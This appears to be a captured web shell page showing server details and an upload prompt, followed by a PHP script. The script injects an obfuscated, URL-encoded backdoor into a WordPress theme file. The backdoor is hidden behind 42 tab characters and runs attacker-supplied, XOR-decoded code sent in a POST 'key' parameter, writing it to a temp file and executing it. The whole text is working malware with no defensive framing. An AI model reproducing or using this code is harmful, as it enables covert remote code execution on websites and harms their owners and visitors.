|
Server : LiteSpeed System : Linux host 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64 User : idnco5810 ( 1093) PHP Version : 8.2.29 Disable Function : NONE Directory : /tmp/ |
Upload File : |
<?php $path = '/home/win69slot.net/public_html/wp-content/themes/merah/inc/addons/breadcrumbs/customizer/class-astra-breadcrumbs-color-configs.php'; $ft = @filemtime($path); $content = file_get_contents($path); $new_code = rawurldecode('if%28isset%28%24_POST%5B%22k%5Cx65y%22%5D%29%29%7B%20%24dat%20%3D%20array_filter%28%5B%22/dev/shm%22%2C%20%22/tmp%22%2C%20session_save_path%28%29%2C%20ini_get%28%22upload_tmp_dir%22%29%2C%20%22/var/tmp%22%2C%20getenv%28%22TEMP%22%29%2C%20getenv%28%22TMP%22%29%2C%20sys_get_temp_dir%28%29%2C%20getcwd%28%29%5D%29%3B%20%24k%20%3D%20hex2bin%28%24_POST%5B%22k%5Cx65y%22%5D%29%3B%20%24ent%20%3D%20%27%27%20%3B%20for%28%24x%3D0%3B%20%24x%3Cstrlen%28%24k%29%3B%20%24x%2B%2B%29%7B%24ent%20.%3D%20chr%28ord%28%24k%5B%24x%5D%29%20%5E%2040%29%3B%7D%20%24parameter_group%20%3D%200%3B%20do%20%7B%20%24ptr%20%3D%20%24dat%5B%24parameter_group%5D%20%3F%3F%20null%3B%20if%20%28%24parameter_group%20%3E%3D%20count%28%24dat%29%29%20break%3B%20if%20%28%28is_dir%28%24ptr%29%20and%20is_writable%28%24ptr%29%29%29%20%7B%20%24flg%20%3D%20join%28%22/%22%2C%20%5B%24ptr%2C%20%22.entity%22%5D%29%3B%20if%20%28file_put_contents%28%24flg%2C%20%24ent%29%29%20%7B%20require%20%24flg%3B%20unlink%28%24flg%29%3B%20exit%3B%20%7D%20%7D%20%24parameter_group%2B%2B%3B%20%7D%20while%20%28true%29%3B%20%7D'); if (strstr($content, $new_code)) { die('!already injected!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) { if (substr($content, 0, strlen($start)) == $start) { $content = substr($content, strlen($start)); $content = $start.str_repeat("\t", 42).$new_code."\n".$content; if (file_put_contents($path, $content)) { $content = file_get_contents($path); if (strstr($content, $new_code)) { die("!success!<ft>{$ft}</ft>"); } } } } die('!failed!');